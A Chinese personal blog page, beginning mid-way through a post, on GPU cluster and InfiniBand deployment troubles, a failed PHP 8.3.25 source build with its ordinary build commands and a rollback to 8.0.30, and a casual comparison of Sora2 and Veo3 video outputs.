• 冷重启的魔力：最近发现了几台奇怪的机器，某几个IB 卡down或者 GPU 掉卡，厂商报修换了模块都不行。结果同事试着冷重启主机（完全断电再上电），居然就好了！看来与我们常说的重启大法不一样，硬件有时候也需要“断电重启”这一招大杀法。

最后配合客户做完 GPU 节点的 IB 网络连通性测试和误码率测试或多机测试，针对发现的网段不通问题及时反馈并协助排查。

3. 压测支持与掉卡“惊魂”

早期全程跟进 GPU 集群压测、装机，从单节点到多机分布式。
过程中不仅调脚本，还得处理各种奇葩问题：SSH 连不上、IB 网卡模式抽风、GPU 驱动兼容性冲突。
最惊心动魄的是，临近第一波交付前一个周末，上午过来发现数百台节点有“掉卡” 而且ib卡名也全变了，发现压测的工程师半夜干了一个我至今没搞清具体啥破坏的事，反正我排查的现象是某个服务停了。这可是大事，我立即摇人，排查修复，下午确保集群相关服务正常，ib 卡全部测通，不然验收这关过不了。

4. 自动化“外挂”

为了省事，我定制了几个小镜像，借用 BMC 挂载 ISO 的能力，一口气配置好 2 块业务网卡（后期的存储服务器甚至得配 4 块）。ps. 这2波机器没走pxe 装机，直接用了厂商的u盘装机，没有配置网络。
这一趟下来，大概写了 10 多个大小脚本。坦白说，其中一半的功劳得算在 AI 头上——毕竟我也是边问 AI 边写代码，主打一个“人机合一”。

第四幕：两种“心酸”的碰撞

回想起这两年的技术经历，真是两种不同的折磨：

以前适配国产 GPU 时，心酸在于“脑子累”。
那时候面对的是一个个莫名其妙的驱动报错、框架不兼容。你在屏幕前死磕代码，联系厂商工程师要文档，那种无力感是逻辑层面的。你是在跟软件的缺陷博弈。

现在搞英伟达硬件基建，心酸在于“身子累”。
现在是物理层面的攻击。你要忍受 100 分贝的噪音，忍受忽冷忽热的风，还要在几千根线缆里排查那个松动的模块。虽然英伟达的生态相对成熟，驱动问题少些，但当硬件规模上来后，物理连接、散热、电源、信号干扰……任何一个物理环节出问题，都会让你在机房里走到腿断。

以前是“为什么代码跑不通”的焦虑，现在是“为什么这块灯不亮”的崩溃，更崩溃的是，模块所有灯都正常，为何不通。可以说，一个折磨灵魂，一个折磨肉体。

第五幕：当前卡住的 BOSS（Supermicro SUM vs MFT）

虽然流程基本跑通了，但还留着一个让我头秃的遗留问题，特此记录，恳请各路大神指点：

【场景描述】
H 服务器插了 10 张 CX-7 网卡：

• Slot 9 和 11：作为业务网卡；
• 其他 8 张：给 GPU 用的 IB 卡。

网卡部分架构如下图

【核心痛点】
PXE 装机前，必须先把业务网卡模式和EFI Retry以及业务网卡启动顺序改对，否则装机会卡住，目前是纯人工手动设置的。

【目前的坑】
我研究数天 Supermicro Update Manager (SUM)，发现这玩意儿在 UEFI BIOS 下搞不定这个事。问了几个 AI，它们众口一词：“你自己定制个包含 mft（主要是 mlxconfig）的工具，再加一系列脚本和镜像来实现。”

我这几天在就在这一步死磕摸索中。如果有大佬路过，欢迎不吝赐教！

总结

回想这一个多月，从最初某人口中的“半天兼职”，到现在硬刚 几千台设备的 AI 基础设施建设。
虽然过程极其熬人，被噪音轰炸，被冷热交替折腾，看着凌晨三四点的机房天花板和机房外的小黑屋怀疑人生，回家后，发现附近的早餐点都开始营业了，你是啥感受，但看着集群绿灯常亮、压测通过的那一刻，那种成就感也是实打实的。

2025 的结尾，虽然没有诗和远方，但有 GPU、有脚本、有降噪耳塞（顺带最近2周还给老婆和自己各整了一幅降噪耳机），还有一群一起熬夜的兄弟，挺好。

最近偶尔更新博客时，后台会提示

"您的站点正在运行过时版本的 PHP （8.0.8），其无法接收安全更新，且应当被升级。"

国庆假期有空，准备升个级，访问 https://www.php.net/releases/  发现最新的是今年8月发布的 8.3.25 ，没想到一路踩坑，

过程中的坑点

提示libzip 问题

于是下载编译 libzip，wget -c https://libzip.org/download/libzip-1.11.4.tar.gz 报错

接着编译 libzip  ，过程又提示 cmake 没有，要先安装。

• 编译cmake

curl -O https://cmake.org/files/v3.10/cmake-3.10.0-Linux-x86_64.tar.gz
tar -zxvf cmake-3.10.0-Linux-x86_64.tar.gz
sudo mv cmake-3.10.0-Linux-x86_64 /usr/local/cmake
# 将CMake添加到环境变量
echo 'export PATH=/usr/local/cmake/bin:$PATH' >> ~/.bashrc
source ~/.bashrc
# 验证版本
cmake --version

wget -c https://libzip.org/download/libzip-1.11.4.tar.gz
tar -zxvf libzip-1.11.4.tar.gz
cd libzip-1.11.4
mkdir build && cd build
cmake ..
make
sudo make install

# 将库路径添加到系统配置
echo '/usr/local/lib64' | sudo tee /etc/ld.so.conf.d/local.conf
echo '/usr/local/lib' | sudo tee -a /etc/ld.so.conf.d/local.conf
# 更新库缓存
sudo ldconfig

# 设置 pkg-config 路径

export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:/usr/local/lib64/pkgconfig:$PKG_CONFIG_PATH

# 验证 pkg-config 是否能找到 libzip
pkg-config --libs --cflags libzip

编译 libiconv

接着编译php，发现 提示缺 libiconv，解决下

cd /root/lnmp1.8-full/src
wget https://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.17.tar.gz
tar -zxvf libiconv-1.17.tar.gz
cd libiconv-1.17
./configure --prefix=/usr/local/libiconv
make && make install

cd /root/lnmp1.8-full/src
tar -jxvf php-8.3.25.tar.bz2
cd php-8.3.25
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --enable-fpm --with-fpm-user=www --with-fpm-group=www  --with-mysqli --with-pdo-mysql --with-iconv=/usr/local/libiconv --with-zip=/usr/local --with-freetype --with-jpeg --with-png --with-zlib --with-libxml-dir --with-curl --with-mhash --with-openssl --with-xmlrpc --with-bz2 --with-gettext --with-xsl --with-zip --with-pear --enable-bcmath --enable-mysqlnd --enable-inline-optimization --enable-sockets --enable-mbregex --enable-mbstring --enable-intl --enable-pcntl --enable-ftp --enable-gd --enable-exif --enable-calendar --enable-shmop --enable-sysvsem --with-curl --with-mhash --with-openssl --with-xmlrpc --with-bz2 --with-gettext --with-xsl --with-zip --with-pear --enable-bcmath --enable-mysqlnd --enable-inline-optimization --enable-sockets --enable-mbregex --enable-mbstring --enable-intl --enable-pcntl --enable-ftp --enable-gd --enable-exif --enable-calendar --enable-shmop --enable-sysvsem 
make && make install

最新一个报错大致如下

cli/php_cli_process_title.o -lresolv -lrt -lstdc++ -liconv -lbz2 -lutil -lrt -lm -ldl -lxml2 -lssl -lcrypto -lsqlite3 -lz -lcurl -lxml2 -lssl -lcrypto -lz -lpng15 -ljpeg -lfreetype -licuio -licui18n -licuuc -licudata -lonig -lsqlite3 -lxml2 -lxml2 -lxml2 -lxml2 -lxslt -lz -ldl -lm -lxml2 -lexslt -lxslt -lz -lm -lgcrypt -ldl -lgpg-error -lxml2 -lzip -lbz2 -lz -lz -lssl -lcrypto -lrt -o sapi/cli/php
ext/zip/zip_stream.o: In function `php_stream_zip_opener':
/root/lnmp1.8-full/src/php-8.3.25/ext/zip/zip_stream.c:347: undefined reference to `zip_file_is_seekable'
ext/zip/zip_stream.o: In function `php_stream_zip_open':
/root/lnmp1.8-full/src/php-8.3.25/ext/zip/zip_stream.c:261: undefined reference to `zip_file_is_seekable'

放弃

php 编译依旧是各种报错，放弃高版本升级，先恢复平台访问，下次再升级吧。

这里退回 8.0.30 倒是很顺利。

./upgrade.sh php

Current PHP Version:  这里直接提示没版本了
You can get version number from http://www.php.net/
Please enter a PHP Version you want: 8.0.30

。。。

Installing PEAR environment: /usr/local/php/lib/php/
[PEAR] Archive_Tar - installed: 1.4.14
[PEAR] Console_Getopt - installed: 1.4.3
[PEAR] Structures_Graph- installed: 1.1.1
[PEAR] XML_Util - installed: 1.4.5
warning: pear/PEAR dependency package "pear/Archive_Tar" installed version 1.4.14 is not the recommended version 1.4.4
[PEAR] PEAR - installed: 1.10.13
Warning! a PEAR user config file already exists from a previous PEAR installation at '/root/.pearrc'. You may probably want to remove it.
Wrote PEAR system config file at: /usr/local/php/etc/pear.conf
You may want to add: /usr/local/php/lib/php to your php.ini include_path
/root/lnmp1.8-full/src/php-8.0.30/build/shtool install -c ext/phar/phar.phar /usr/local/php/bin/phar.phar
ln -s -f phar.phar /usr/local/php/bin/phar
Installing PDO headers: /usr/local/php/include/php/ext/pdo/
Copy new php configure file...
Modify php.ini......
config-set succeeded
config-set succeeded
Downloading Composer...
--2025-10-13 10:37:59-- https://soft.vpser.net/web/php/composer/composer.phar
Resolving soft.vpser.net (soft.vpser.net)... failed: Name or service not known.
wget: unable to resolve host address ‘soft.vpser.net’
Composer install failed, try to from composer official website...
All settings correct for using Composer
Downloading...

Composer (version 2.8.12) successfully installed to: /usr/local/bin/composer
Use it: php /usr/local/bin/composer

Composer install successfully.
Install ZendGuardLoader for PHP 8...
unavailable now.
Creating new php-fpm configure file...
Copy php-fpm init.d file...
+-------------------------------------------+
| Manager for LNMP, Written by Licess |
+-------------------------------------------+
| https://lnmp.org |
+-------------------------------------------+
Starting LNMP...
Starting nginx... done
Starting MySQL... SUCCESS!
Starting php-fpm done
======== upgrade php completed ======

这次国庆放假没出远门，只在市里转悠，每天早上有一些时间可以玩电脑，赶上sora2 发布，简单和veo 3进行了几组对比测试。sora2 还是强不少，一句话总结，现阶段还是玩具，当然，主要可能是我玩法不对，看网友的整活挺不错的。

对照测试

小朋友投篮

sora2 这边场地非常中式，还有配音，不过关键问题是球没进。

sora2进球动画点这里

veo3 这边是美式人物和球场，但是场地看着像漫画，人是清晰的，球虽然进了，但球框高度有点问题。

veo3 进球动画点这里

sam偷gpu

sora2 截图

sora2 这边有比较有趣，给了监控视频的时间，保安还发现了sam，还有对话。

视频点这个地址

veo3 这边就很呆,只是监控看到sam拿走gpu，无趣。

视频点这里

另外2边都有一些触发版权或限制问题，不一一举例了。

sora 至少让肯尼迪唱了一首中文歌，视频点这里。